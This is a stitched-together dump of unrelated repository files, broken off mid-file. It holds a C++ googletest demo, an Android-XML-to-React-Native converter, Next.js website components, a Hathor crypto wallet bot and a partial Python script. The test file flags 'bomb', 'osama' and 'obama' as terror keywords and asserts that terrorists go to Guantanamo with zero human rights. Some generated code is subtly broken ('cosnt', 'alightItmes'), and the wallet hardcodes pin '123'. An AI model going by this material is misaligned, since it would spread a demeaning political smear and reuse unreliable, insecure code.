INSTANTIATE_TEST_CASE_P(_, NoFlyPolicyTestWithTweets, ::testing::Values("bomb", "osama", "obama"));
::testing::AssertionResult isBadPlace(const Destination& d)
{
if (d.nofHumanRights == 0)
return ::testing::AssertionSuccess();
else
return ::testing::AssertionFailure() << d << " has " << d.nofHumanRights << " human rights, expected 0";
}
TEST_F(NoFlyPolicyTest, terroristsGoToABadPlace)
{
Destination d = policy.terroristDestination();
ASSERT_TRUE(isBadPlace(d));
}
void assertIsBadPlace(const Destination& d)
{
ASSERT_EQ(0, d.nofHumanRights);
}
TEST_F(NoFlyPolicyTest, terroristsGoToABadPlace2)
{
Destination d = policy.terroristDestination();
assertIsBadPlace(d);
}
TEST_F(NoFlyPolicyTest, terroristsGoToGitmo)
{
Destination d = policy.terroristDestination();
Destination gitmo("Guantanamo", 0);
ASSERT_EQ(gitmo, d);
}<file_sep>/NoFlyList/NoFlyPolicy.h
#pragma once
#include "Person.h"
#include "Destination.h"
class NoFlyPolicy
{
public:
bool canFly(const Person& person);
Destination terroristDestination() { return Destination("Guantanamo", 0); }
};
<file_sep>/NoFlyList/Twitter.h
#pragma once
#include <string>
#include <vector>
typedef std::vector<std::string> Tweets;
class Twitter
{
public:
Twitter() {}
Tweets getTweets() const
{
return tweets;
}
void tweet(std::string message)
{
tweets.push_back(message);
}
private:
Tweets tweets;
}; | d47fd468596a6f6566d4d6dcd587867f8630c810 | [
"C++"
] | 7 | C++ | virajhk/googletest-demo | a106d28d196c34335e170a6e69ea5de332ebf2f2 | bc0caf5dca180b32c8ad927b0eb51995032fda10 |
refs/heads/main | <file_sep>import XMLToReact from '@condenast/xml-to-react';
export const parserFunction = (xmlString) => {
let xmlElements = []
let parser = new DOMParser();
const androidDOM = parser.parseFromString(xmlString, "text/xml");
console.log(androidDOM);
//Code checks if their is an error in the code you've entered
if(androidDOM.activeElement.textContent && androidDOM.activeElement.textContent.includes("XML Parsing Error")){
console.log(androidDOM.activeElement.textContent);
return "XML Parsing Error"
}
//Grabs the lists of parsed elements
const nodeList = androidDOM.firstChild.childNodes;
//console.log(String(nodeList.item(0)) === '[object Text]');
console.log(nodeList)
for(var i = 0; i < nodeList.length; i++ ){
//Loops through the parsed elements and grabs what is usable and appends it to the array of xmlElements
if(String(nodeList.item(i)) !== '[object Text]') xmlElements.push(nodeList.item(i));
}
//console.log(String(xmlElements[0].outerHTML));
//Returns a string containing each element seperated by two new line characters
var s = new XMLSerializer();
console.log(s.serializeToString(xmlElements[0]))
return xmlElements
}
export const translateFunction = (elementArray) => {
let juniorArray = []
let stylesArray = []
var arraylength = elementArray.length
const xmlToReact = new XMLToReact({
Example: (attrs) => ({ type: 'ul', props: attrs }),
Item: (attrs) => ({ type: 'li', props: attrs })
});
if(elementArray === 'XML Parsing Error'){
window.alert('Invalid Entry')
return 'Invalid Entry'
}
else{
for(let i = 0; i<arraylength; i++){
console.log(elementArray[i].localName)
juniorArray.push(
`
<${elementArray[i].localName} styles={styles.${elementArray[i].localName}}>
Lorem ipsum dolor sit amet
</${elementArray[i].localName}>
`
)
stylesArray.push(
`
${elementArray[i].localName} : {
flex: 1,
alightItmes: 'center'
}
`
)
}
const reactTree = xmlToReact.convert(`
<Example name="simple">
</Example>
`);
let reactElements = buildReactClass(juniorArray.join(""))
let stylesOutput = buildReactStyles(stylesArray.join(""))
return reactElements.concat("\n",stylesOutput)
//return elementArray.join("\n\n");
}
}
const buildReactClass = (elements) => {
return `import {StyleSheet} from "react-native"
const OutPutClassFunction = () =>{
return(
<div>
${elements}
</div>
)
}
`
}
const buildReactStyles = (styles) => {
return `\\\\React Native Styling
cosnt styles = StyleSheet.create({
${styles}
})
`
}
const myConverter = (attributes) => {
return {
type: 'div',
props: {
className: 'test'
}
}
}
export const sampleXML = () => {
return `
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:id="@+id/container"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingBottom="@dimen/activity_vertical_margin"
tools:context=".ui.login.LoginActivity">
<EditText
android:id="@+id/username"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="96dp"
android:hint="@string/prompt_email"
android:inputType="textEmailAddress"
android:selectAllOnFocus="true"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
<EditText
android:id="@+id/password"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="8dp"
android:hint="@string/prompt_password"
android:imeActionLabel="@string/action_sign_in_short"
android:imeOptions="actionDone"
android:inputType="textPassword"
android:selectAllOnFocus="true"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@+id/username" />
<Button
android:id="@+id/login"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_gravity="start"
android:layout_marginTop="16dp"
android:layout_marginBottom="64dp"
android:enabled="false"
android:text="@string/action_sign_in"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@+id/password"
app:layout_constraintVertical_bias="0.2" />
<ProgressBar
android:id="@+id/loading"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_gravity="center"
android:layout_marginTop="64dp"
android:layout_marginBottom="64dp"
android:visibility="gone"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="@+id/password"
app:layout_constraintStart_toStartOf="@+id/password"
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintVertical_bias="0.3" />
</androidx.constraintlayout.widget.ConstraintLayout>
`
}<file_sep>import React, {useState} from 'react'
import {parserFunction,sampleXML,translateFunction} from './parsing.js'
function CodeTranslate(){
// Declare State Variables for input/output functionality
const [textInput, updateInput] = useState();
const [textOutput, updateOutput] = useState();
const handleClick = (e) => {
let tempParse = parserFunction(textInput);
let tempTranslate = translateFunction(tempParse);
updateOutput(String(tempTranslate));
//console.log(textOutput);
}
const handleInput = (e) => {
updateInput(e.target.value)
}
const handleTest = (e) => {
console.log(sampleXML())
updateInput(sampleXML());
}
return(
<div className="main">
<textarea placeholder="Enter Android XML layout Code..." rows="35" cols="70" onChange={handleInput} spellCheck="false"/>
<button onClick={handleClick}>Translate</button>
{/* <button onClick={handleTest}>Test</button> */}
<textarea placeholder="React Native Code Output..." rows="35" cols="70" value={textOutput} spellCheck="false"/>
</div>
);
}
export default CodeTranslate; | 47d891ef104348f45424ee46389391923eaa1447 | [
"JavaScript"
] | 2 | JavaScript | bar199/TealHorse | b8892c2d4be6c7c7535dfe8a6bc23a2a1a31c9ca | 26d906991eeaced485b088a21dce5cea6f7c0934 |
refs/heads/main | <repo_name>lindsaylevine/bitproject_website<file_sep>/components/dualcol/index.jsx
import {
Box,
Button,
Flex,
Heading,
Img,
Container,
Text,
Badge,
Link,
useColorModeValue as mode,
} from '@chakra-ui/react'
import Fade from 'react-reveal/Fade';
import * as React from 'react'
export const DualCol = ( {preheading, heading, para1, para2, li1, li2, li3, img, action, actionLink} ) => {
return (
<Box as="section" bg="black" pt="24" pb="12" overflow="hidden" color="white">
<Container
maxW="container.lg"
p="15px"
>
<Box
maxW={{
base: 'xl',
md: '7xl',
}}
mx="auto"
>
<Fade>
<Flex
align="flex-start"
direction={{
base: 'column',
lg: 'row',
}}
justify="space-between"
mb="20"
>
<Box
flex="1"
maxW={{
lg: 'xl'
}}
pt="6"
>
<Badge px="2" fontSize="1em" colorScheme="blue">
{preheading}
</Badge>
<Heading as="h2" size="xl" mt="8" fontWeight="extrabold">
{heading}
</Heading>
<Text mt="5" fontSize="xl">
{para1}
</Text>
<Text mt="5" fontSize="xl">
{para2}
</Text>
<Text mt="5" fontSize="xl">
{li1}
</Text>
<Text mt="5" fontSize="xl">
{li2}
</Text>
<Text mt="5" fontSize="xl">
{li3}
</Text>
<Text
mt="5"
fontSize="xl"
>
<Link
color="#0095E9"
href={actionLink}
>{action}
</Link>
</Text>
</Box>
<Img
margin="3rem auto"
src={img}
alt="Counselorbot picture"
maxW={{
lg: '50%',
md: '30%'
}}
/>
</Flex>
</Fade>
</Box>
</Container>
</Box>
)
}
<file_sep>/components/textblock/index.jsx
import {
Box,
Button,
Flex,
Heading,
Img,
Container,
Text,
Badge,
Grid,
Link,
GridItem,
useColorModeValue as mode,
} from '@chakra-ui/react'
import * as React from 'react'
// import { Copyright } from './Copyright'
import { LinkGrid } from './LinkGrid'
// import { Logo } from './Logo'
// import { SocialMediaLinks } from './SocialMediaLinks'
// import { SubscribeForm } from './SubscribeForm'
import Fade from 'react-reveal/Fade';
export const Textblock = ({ title, para1, para2 }) => (
<Box
bg="black"
color="white"
>
<Fade>
<Container
maxW="container.lg"
p="15px"
>
<Box
maxW={{
base: 'xl',
md: '7xl',
}}
mx="auto"
>
<Heading
as="h1"
size="3xl"
fontWeight="extrabold"
maxW="48rem"
lineHeight="1.2"
letterSpacing="tight"
>
{title}
</Heading>
<Flex
align="flex-start"
direction={{
base: 'column',
lg: 'row',
}}
justify="space-between"
my="2rem"
>
<Text mt="5" fontSize="xl">{para1}</Text>
<Text mt="5" fontSize="xl">{para2}</Text>
{/* <p>Lorem ipsum, dolor sit amet consectetur adipisicing elit. Perferendis, error! Eaque quia natus ipsa suscipit cumque, praesentium cupiditate delectus architecto?</p> */}
</Flex>
</Box>
</Container>
</Fade>
</Box>
)
<file_sep>/components/overflowdualcol/index.jsx
import {
Box,
Heading,
Img,
Link,
Stack,
Text,
Container,
useColorModeValue as mode,
} from '@chakra-ui/react'
import * as React from 'react'
export const OverflowDualCol = ({ image, headerText, action, actionLink }) => {
return (
<Box as="section" bg="black" pt="24" pb="12" overflow="hidden" color="white">
<Container
maxW="container.lg"
p="15px"
>
<Box
margin="0"
>
<Stack
direction={{
base: 'column',
lg: 'row',
}}
spacing={{
base: '1rem',
lg: '2rem',
}}
align={{
lg: 'center',
}}
justify="start"
display="flex"
>
<Img
pos="relative"
zIndex="1"
maxH="40vh"
objectFit="scale-down"
src={image}
alt="Screening talent"
/>
<Box
w={{
base: 'full',
lg: '560px',
}}
h={{
base: 'auto',
lg: '560px',
}}
display="flex"
alignItems="center"
>
<Box
flex="1"
maxW={{
lg: '520px',
}}
>
<Heading mt="4" as="h2" size="xl" fontWeight="extrabold" lineHeight="3rem">
{headerText}
</Heading>
<Stack
direction={{
base: 'column',
md: 'row',
}}
spacing="4"
mt="8"
>
<Text
mt="5"
fontSize="xl"
>
<Link
color="#86D3FF"
href={actionLink}
>{action}
</Link>
</Text>
</Stack>
</Box>
</Box>
</Stack>
</Box>
</Container>
</Box>
)
}
<file_sep>/components/hero/index.jsx
import {
Box,
Button,
Circle,
Heading,
Img,
SimpleGrid,
Stack,
Text,
VisuallyHidden,
useColorModeValue as mode,
LightMode,
} from '@chakra-ui/react'
import * as React from 'react'
import { FaPlay } from 'react-icons/fa'
import * as Logos from './Brands'
export const Hero = () => {
return (
<Box>
<Box as="section" bg="gray.800" color="white" py="7.5rem">
<Box
maxW={{
base: 'xl',
md: '5xl',
}}
mx="auto"
px={{
base: '6',
md: '8',
}}
>
<Box textAlign="center">
<Heading
as="h1"
size="3xl"
fontWeight="extrabold"
maxW="48rem"
mx="auto"
lineHeight="1.2"
letterSpacing="tight"
>
Design collaboration without the chaos
</Heading>
<Text fontSize="xl" mt="4" maxW="xl" mx="auto">
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor
incididunt ut labore
</Text>
</Box>
<Stack
justify="center"
direction={{
base: 'column',
md: 'row',
}}
mt="10"
mb="20"
spacing="4"
>
<LightMode>
<Button
as="a"
href="#"
size="lg"
colorScheme="blue"
px="8"
fontWeight="bold"
fontSize="md"
>
Get started free
</Button>
<Button
as="a"
href="#"
size="lg"
colorScheme="whiteAlpha"
px="8"
fontWeight="bold"
fontSize="md"
>
Request demo
</Button>
</LightMode>
</Stack>
<Box
className="group"
cursor="pointer"
position="relative"
rounded="lg"
overflow="hidden"
>
<Img
alt="Screenshot of Envelope App"
src="https://res.cloudinary.com/chakra-ui-pro/image/upload/v1621085270/pro-website/app-screenshot-light_kit2sp.png"
/>
</Box>
</Box>
</Box>
</Box>
)
}
<file_sep>/pages/orchestration.js
import Head from 'next/head'
import Image from 'next/image'
import { Landing } from '../components/hero/landing.jsx'
// import Layout from '../components/layout'
import { Hero } from '../components/hero'
import { Textblock } from '../components/textblock'
import { DualCol } from '../components/dualcol'
export default function Orchestration() {
return (
<div>
<Landing
heading="Orchestration Camp"
description="Lorem Ipsum is simply dummy text of the printing and typesetting industry. 100% Free and Open Source"
cta1="Apply Now"
cta2="Learn More"
image="/neonLines.svg"
logoImage="/serverlessLogo.svg"
cta1link={' https://www.notion.so/bitproject/Welcome-to-Serverless-Camp-e218f86daf4248509350709cd9fa8017'}
cta2link={'https://airtable.com/shr9hT8pEXpAAM00Z'}
/>
</div>
)
}
<file_sep>/pages/index.js
import Head from 'next/head'
import Image from 'next/image'
import { Landing } from '../components/hero/landing.jsx'
// import Layout from '../components/layout'
import { Hero } from '../components/hero'
import { Textblock } from '../components/textblock'
import { DualCol } from '../components/dualcol'
import { OverflowDualCol } from '../components/overflowdualcol'
export default function Home() {
return (
<div>
<Landing
heading="Serverless Camp"
description="Lorem Ipsum is simply dummy text of the printing and typesetting industry. 100% Free and Open Source"
cta1="Apply Now"
cta2="Learn More"
image="/feature.svg"
logoImage="/serverlessLogo.svg"
cta1link={' https://www.notion.so/bitproject/Welcome-to-Serverless-Camp-e218f86daf4248509350709cd9fa8017'}
cta2link={'https://airtable.com/shr9hT8pEXpAAM00Z'}
/>
<Textblock
title="Code. Deploy. That's it."
para1="You just write your code and deploy it. Everything else which is necessary to run your application is done automatically.
"
para2="You just write your code and deploy it. Everything else which is necessary to run your application is done automatically.
"
/>
<OverflowDualCol
image="/emily.svg"
headerText="Emily built a file sharing app with Azure Functions and CosmosDB for AP exams"
action="Read Story →"
actionLink="ACTIONLINK"
/>
<DualCol
preheading="week1"
heading="Git & Serverless Basics"
para1="Set up your development environment with developer tools like Github and Postman."
para2="Build projects to get started with Azure Functions, Cloud Engineering, and Javascript!"
li1="⚡ HackerVoice API"
li2="🐱 twoCatz API"
li3="🐸 [TOP SECRET] API"
img="/counselorbot.svg"
action="Get Started →"
actionLink="ACTIONLINK"
/>
<DualCol
preheading="week2"
heading="Git & Serverless Basics"
para1="Set up your development environment with developer tools like Github and Postman."
para2="Build projects to get started with Azure Functions, Cloud Engineering, and Javascript!"
li1="⚡ HackerVoice API"
li2="🐱 twoCatz API"
li3="🐸 [TOP SECRET] API"
img="/counselorbot.svg"
action="Get Started →"
actionLink="ACTIONLINK"
/>
<DualCol
preheading="week3"
heading="Git & Serverless Basics"
para1="Set up your development environment with developer tools like Github and Postman."
para2="Build projects to get started with Azure Functions, Cloud Engineering, and Javascript!"
li1="⚡ HackerVoice API"
li2="🐱 twoCatz API"
li3="🐸 [TOP SECRET] API"
img="/counselorbot.svg"
action="Get Started →"
actionLink="ACTIONLINK"
/>
<DualCol
preheading="week4"
heading="Git & Serverless Basics"
para1="Set up your development environment with developer tools like Github and Postman."
para2="Build projects to get started with Azure Functions, Cloud Engineering, and Javascript!"
li1="⚡ HackerVoice API"
li2="🐱 twoCatz API"
li3="🐸 [TOP SECRET] API"
img="/counselorbot.svg"
action="Get Started →"
actionLink="ACTIONLINK"
/>
<DualCol
preheading="week 5-8"
heading="Build your Own Project"
para1="Set up your development environment with developer tools like Github and Postman."
para2="Build projects to get started with Azure Functions, Cloud Engineering, and Javascript!"
li1="Dine the Distance"
li2="Bunnimage File Sharing"
li3="Ganning's Project"
img="/counselorbot.svg"
action="Example Final Projects →"
actionLink="ACTIONLINK"
/>
</div>
)
}
<file_sep>/components/hero/landing.jsx
import {
Box,
Button,
Circle,
Heading,
Img,
Stack,
Text,
VisuallyHidden,
useColorModeValue as mode,
LightMode,
Center
} from '@chakra-ui/react'
import * as React from 'react'
import Fade from 'react-reveal/Fade';
export const Landing = ({ heading, description,cta1, cta2, image, logoImage, play, cta1link, cta2link }) => {
return (
<Box
bg="black">
<Fade>
<Box as="section" bg="black" color="white" pt="7.5rem" >
<Box maxW={{ base: 'xl', md: '7xl' }} mx="auto" px={{ base: '6', md: '8' }}>
<Box textAlign="center">
<Img
alt="Page icon"
src={logoImage}
width="10%"
m="0 auto"
/>
<Heading
as="h1"
size="3xl"
fontWeight="extrabold"
maxW="48rem"
mx="auto"
lineHeight="1.2"
letterSpacing="tight"
>
{heading}
</Heading>
<Text fontSize="xl" mt="4" maxW="xl" mx="auto" >
{description}
</Text>
</Box>
<Stack
justify="center"
direction={{ base: 'column', md: 'row' }}
mt="10"
mb="20"
spacing="4"
>
<LightMode>
<Button
as="a"
href={cta1link}
size="lg"
colorScheme="yellow"
px="8"
fontWeight="bold"
fontSize="md"
>
{cta1}
</Button>
<Button
as="a"
href={cta2link}
size="lg"
colorScheme="blue"
px="8"
fontWeight="bold"
fontSize="md"
>
{cta2}
</Button>
</LightMode>
</Stack>
<Box
mb={{ base: '-20', md: '-40' }}
className="group"
cursor="pointer"
position="relative"
rounded="lg"
overflow="hidden"
>
{play == 0 &&
<Circle
size="20"
as="button"
bg="white"
shadow="lg"
color="blue.600"
position="absolute"
top="50%"
left="50%"
transform="translate3d(-50%, -50%, 0)"
fontSize="xl"
transition="all 0.2s"
_groupHover={{
transform: 'translate3d(-50%, -50%, 0) scale(1.05)',
}}
>
</Circle>
}
</Box>
</Box>
<Img
alt="Screenshot of Envelope App"
src={image}
width="100%"
// maxW="70rem"
m="0 auto"
mt="10rem"
maxH="50vh"
maxW ="60vw"
/>
</Box>
</Fade>
</Box>
)
} | 62ec3da248ccef744c21ee34087896d69fa7da2a | [
"JavaScript"
] | 7 | JavaScript | lindsaylevine/bitproject_website | 308a3fecb4fdeb05b19cf317ff4996a3734b7342 | cfb6eae6d8e8fa9650a3d52cfd2d78febb36c762 |
refs/heads/master | <repo_name>dohne12/h-twitter-bot<file_sep>/README.md
# Twitter Hathor Bot
This is a Twitter bot that distributes tokens according to a set of rules.
For example, the tweet "Wig1U2TXnHXdMmXVQGAXmaGU66Gg76NXuj @Hathor #IWantHTR" may trigger the bot to send a few tokens to the given address.
## How does it work?
It is a simple Hathor Wallet that may receive any token and will distribute those tokens according to a set of rules.
To deposit some funds in the bot, just transfer the tokens to its address. To withdraw some funds, you have to use the seed in Hathor Wallet and transfer them somewhere else.
## How to run?
Copy `config.js.template` to `config.js`, and then fulfill the variables. Finally, run `npm start`.
<file_sep>/wallet.js
/**
* Copyright (c) Hathor Labs and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*/
import hathorLib from '@hathor/wallet-lib';
import MemoryStore from './store';
import EventEmitter from 'events';
/**
* This is a Wallet that is supposed to be simple to be used by a third-party app.
*
* This class handles all the details of syncing, including receiving the same transaction
* multiple times from the server. It also keeps the balance of the tokens updated.
*
* It has the following states:
* - CLOSED: When it is disconnected from the server.
* - CONNECTING: When it is connecting to the server.
* - SYNCING: When it has connected and is syncing the transaction history.
* - READY: When it is ready to be used.
*
* You can subscribe for the following events:
* - state: When the state of the Wallet changes.
* - new-tx: When a new tx arrives.
* - update-tx: When a known tx is updated. Usually, it happens when one of its outputs is spent.
**/
class Wallet extends EventEmitter {
constructor({ server, seed }) {
super();
this.state = this.CLOSED;
this.onConnectionChange = this.onConnectionChange.bind(this);
this.handleWebsocketMsg = this.handleWebsocketMsg.bind(this);
this.onAddressesLoaded = this.onAddressesLoaded.bind(this);
this.server = server;
this.seed = seed;
this.passphrase = '';
this.pinCode = '123';
this.password = '123';
}
/**
* Called when loading the history of transactions.
* It is called every HTTP Request to get the history of a set of addresses.
* Usually, this is called multiple times.
* The `historyTransactions` contains all transactions, including the ones from a previous call to this method.
*
* @param {Object} result {historyTransactions, allTokens, newSharedAddress, newSharedIndex, addressesFound}
**/
onAddressesLoaded(result) {
//console.log('result', result);
}
/**
* Called when the connection to the websocket changes.
* It is also called if the network is down.
**/
onConnectionChange(value) {
if (value) {
this.setState(Wallet.SYNCING);
hathorLib.wallet.loadAddressHistory(0, hathorLib.constants.GAP_LIMIT).then(() => {
this.setState(Wallet.READY);
}).catch((error) => {
throw error;
})
}
}
getAddressToUse() {
return hathorLib.wallet.getAddressToUse();
}
getCurrentAddress() {
return hathorLib.wallet.getCurrentAddress();
}
/**
* Called when a new message arrives from websocket.
**/
handleWebsocketMsg(wsData) {
if (wsData.type === 'wallet:address_history') {
this.onNewTx(wsData);
}
}
reloadData() {
console.log('reloadData');
}
getAllBalances() {
return hathorLib.storage.getItem('local:tokens:balance');
}
getBalance(tokenUid) {
return this.getAllBalances[tokenUid];
}
setState(state) {
this.state = state;
this.emit('state', state);
}
onNewTx(wsData) {
const newTx = wsData.history;
// TODO we also have to update some wallet lib data? Lib should do it by itself
const walletData = hathorLib.wallet.getWalletData();
const historyTransactions = 'historyTransactions' in walletData ? walletData.historyTransactions : {};
const allTokens = 'allTokens' in walletData ? walletData.allTokens : [];
let isNewTx = false;
if (newTx.tx_id in historyTransactions) {
isNewTx = true;
}
hathorLib.wallet.updateHistoryData(historyTransactions, allTokens, [newTx], null, walletData);
if (isNewTx) {
this.emit('new-tx', newTx);
} else {
this.emit('update-tx', newTx);
}
return;
/*
// We need to reload it because it was modified by updateHistoryData.
const newWalletData = hathorLib.wallet.getWalletData();
const { keys } = newWalletData;
const updatedHistoryMap = {};
const updatedBalanceMap = {};
const balances = this.getTxBalance(newTx);
// we now loop through all tokens present in the new tx to get the new history and balance
for (const [tokenUid, tokenTxBalance] of Object.entries(balances)) {
// we may not have this token yet, so state.tokensHistory[tokenUid] would return undefined
const currentHistory = state.tokensHistory[tokenUid] || [];
const newTokenHistory = addTxToSortedList(tokenUid, tx, tokenTxBalance, currentHistory);
updatedHistoryMap[tokenUid] = newTokenHistory;
// totalBalance should not be confused with tokenTxBalance. The latter is the balance of the new
// tx, while the former is the total balance of the token, considering all tx history
const totalBalance = getBalance(tokenUid);
updatedBalanceMap[tokenUid] = totalBalance;
}
const newTokensHistory = Object.assign({}, state.tokensHistory, updatedHistoryMap);
const newTokensBalance = Object.assign({}, state.tokensBalance, updatedBalanceMap);
hathorLib.storage.setItem('local:tokens:history', newTokensHistory);
hathorLib.storage.setItem('local:tokens:balance', newTokensBalance);
*/
};
/**
* Send tokens to only one address.
**/
sendTransaction(address, value, token) {
const isHathorToken = token.uid === hathorLib.constants.HATHOR_TOKEN_CONFIG.uid;
const tokenData = (isHathorToken? 0 : 1);
const data = {
tokens: isHathorToken ? [] : [token.uid],
inputs: [],
outputs: [{
address, value, tokenData
}],
};
const walletData = hathorLib.wallet.getWalletData();
const historyTxs = 'historyTransactions' in walletData ? walletData.historyTransactions : {};
const ret = hathorLib.wallet.prepareSendTokensData(data, token, true, historyTxs, [token]);
if (!ret.success) {
console.log('Error sending tx:', ret.message);
return;
}
return hathorLib.transaction.sendTransaction(ret.data, this.pinCode);
}
/**
* Connect to the server and start emitting events.
**/
start() {
const store = new MemoryStore();
hathorLib.storage.setStore(store);
hathorLib.storage.setItem('wallet:server', this.server);
hathorLib.wallet.executeGenerateWallet(this.seed, this.passphrase, this.pinCode, this.password, false);
this.setState(Wallet.CONNECTING);
const promise = new Promise((resolve, reject) => {
hathorLib.version.checkApiVersion().then((version) => {
console.log('Server info:', version);
hathorLib.WebSocketHandler.on('is_online', this.onConnectionChange);
hathorLib.WebSocketHandler.on('reload_data', this.reloadData);
hathorLib.WebSocketHandler.on('addresses_loaded', this.onAddressesLoaded);
hathorLib.WebSocketHandler.on('wallet', this.handleWebsocketMsg);
hathorLib.WebSocketHandler.setup();
resolve();
}, (error) => {
console.log('Version error:', error);
this.setState(Wallet.CLOSED);
reject(error);
});
});
return promise;
}
/**
* Close the connections and stop emitting events.
**/
stop() {
hathorLib.WebSocketHandler.stop()
hathorLib.WebSocketHandler.removeListener('is_online', this.onConnectionChange);
hathorLib.WebSocketHandler.removeListener('reload_data', this.reloadData);
hathorLib.WebSocketHandler.removeListener('addresses_loaded', this.onAddressesLoaded);
hathorLib.WebSocketHandler.removeListener('wallet', this.handleWebsocketMsg);
this.setState(Wallet.CLOSED);
}
/**
* Returns the balance for each token in tx, if the input/output belongs to this wallet
*/
getTxBalance(tx) {
const myKeys = []; // TODO
const balance = {};
for (const txout of tx.outputs) {
if (hathorLib.wallet.isAuthorityOutput(txout)) {
continue;
}
if (txout.decoded && txout.decoded.address
&& txout.decoded.address in myKeys) {
if (!balance[txout.token]) {
balance[txout.token] = 0;
}
balance[txout.token] += txout.value;
}
}
for (const txin of tx.inputs) {
if (hathorLib.wallet.isAuthorityOutput(txin)) {
continue;
}
if (txin.decoded && txin.decoded.address
&& txin.decoded.address in myKeys) {
if (!balance[txin.token]) {
balance[txin.token] = 0;
}
balance[txin.token] -= txin.value;
}
}
return balance;
}
}
// State constants.
Wallet.CLOSED = 0;
Wallet.CONNECTING = 1;
Wallet.SYNCING = 2;
Wallet.READY = 3;
// Other constants.
Wallet.HTR_TOKEN = hathorLib.constants.HATHOR_TOKEN_CONFIG;
export default Wallet;
| d328fdc7c28c2e9fd59016b7341f2d951933420d | [
"Markdown",
"JavaScript"
] | 2 | Markdown | dohne12/h-twitter-bot | e331f3c53d0896b98d7e496ad5c02df05048391c | 0551f7c66c38a9fbe6686c5fc86788321d1ec944 |
refs/heads/master | <repo_name>rymcmahon/scripts<file_sep>/file-name-converter.rb
require 'rspec/autorun'
class File
def initialize(string:)
@string = string
end
def convert_title_to_url
@string.tr(" ", "-").gsub(/:/, "").gsub(/,/, "").downcase
end
end
describe File do
describe "#convert_title_to_url" do
it "returns a lowercase string and converts spaces into hyphens and removes colons and commas" do
file = File.new(string: "Implementation Training 2: Organization Tools, Tricks, and Forms")
expect(file.convert_title_to_url).to eq("implementation-training-2-organization-tools-tricks-and-forms")
end
end
end | 05343ef2b8bd49e41b558261ac800274e521a66e | [
"Ruby"
] | 1 | Ruby | rymcmahon/scripts | eb684ce22e5c5b0c9d386830ea346c576db40d19 | 18b2803df3377c6fdf79d62293a8101c3ce1f5ee |
refs/heads/master | <repo_name>ptruesdell/heighway-dragon<file_sep>/fractal.js
// The Heighway Dragon Fractal ~ Daily Programmer Challenge #223 [hard]
// Dependencies
var _ = require('lodash');
// Point constructor
Point = function(x, y) {
this.x = x;
this.y = y;
};
Point.prototype.x = function() {
return this.x;
};
Point.prototype.y = function() {
return this.y;
};
// Graph constructor
Graph = function(points) {
this.points = points;
}
// returns number of points in graph
Graph.prototype.length = function() {
return this.points.length();
};
// TODO: fix getPivot
// returns current pivot point of graph
Graph.prototype.getPivot = function() {
return Graph.points[(Graph.length()-1)/2];
};
// returns a point's vert distance from pivot point
Graph.prototype.verticalDistanceFromPivot(point) {
return Graph.getPivot().x - point.x;
};
// returns a point's horiz distance from pivot point
Graph.prototype.horizontalDistanceFromPivot = function(point) {
return Graph.getPivot().y - point.y;
};
// prints all of the points of a Graph
Graph.prototype.printGraph = function() {
_.forEach(this.points, function(point) {
console.log("[x: " + point.x + ", y: " + point.y + "]");
});
};
// pivots a single point in Graph
Graph.prototype.pivot = function(point) {
var tempPoint = point;
point.x = this.getPivot().x + this.verticalDistanceFromPivot(tempPoint);
point.y = this.getPivot().y + this.horizontalDistanceFromPivot(tempPoint);
};
// pivot each point in graph
// map all pivoted points to a new array
// append mapped points to original points
Graph.prototype.transform = function() {
var newPoints = _.map(this.points, pivot);
this.points += newPoints;
this.points.splice((this.length()-1)/2);
};
// main loop
var iterate = function (graph, numberOfCycles) {
this = graph;
for (var i = 0; i < numberOfCycles; i++) {
this.transform();
}
};
console.log(iterate(new Graph([new Point(0, 0), new Point(1, 0)], 3));
| 6dcb9d6a63fdd89b2f6afc0c83320d16aaa275e1 | [
"JavaScript"
] | 1 | JavaScript | ptruesdell/heighway-dragon | b6608fa8f98f5ff2b1e0041fa355a07313e62805 | 5e61c0a03cc982c1ca78c8ee661826cfedf01a5d |
refs/heads/master | <repo_name>ux5-afterhours/react-counter<file_sep>/client/src/components/Count.js
import React from 'react';
import styled, { keyframes } from 'styled-components';
const Label = styled.p`
font-size: 40px;
font-weight: bold;
/*if (props.count % 2 === 0){
do this
else {
do that
}*/
color: ${props => (props.count % 2 === 0 ? 'blue' : 'red')};
`;
// const spinning = keyframes`
// from {
// transform: rotate(0deg);
// }
// to {
// transform: rotate(360deg);
// }
// `;
// const Number = styled.div`
// animation: ${props =>
// props.count % 2 === 0
// ? `${spinning} infinite 20s linear`
// : `${spinning} infinite reverse 20s linear`};
// /* animation: ${spinning} infinite 20s linear; */
// `;
const Count = props => {
return (
<div>
<Label count={props.currentCount}>Count:</Label>
<p>{props.currentCount}</p>
</div>
);
};
export default Count;
<file_sep>/README.md
# react-counter
It just counts.
| 38a6c9cb1ae9dd8f5593aa4c1f0ccbe78a6f1020 | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | ux5-afterhours/react-counter | 653f791cbc94046a5c6f2cbb3fa85b20aa93fdaf | 3b3901408bdf15d087ad79535e631eca760f008f |
refs/heads/master | <repo_name>SilverYar/Parallel<file_sep>/README.md
# Parallel
Examples of parallel tasks on Windows
<file_sep>/time.py
from os import system, access, remove, W_OK
import numpy as np
import scipy.stats as st
import math
import argparse
import time
def chooseAppropriateTimeUnit(timeInMicros):
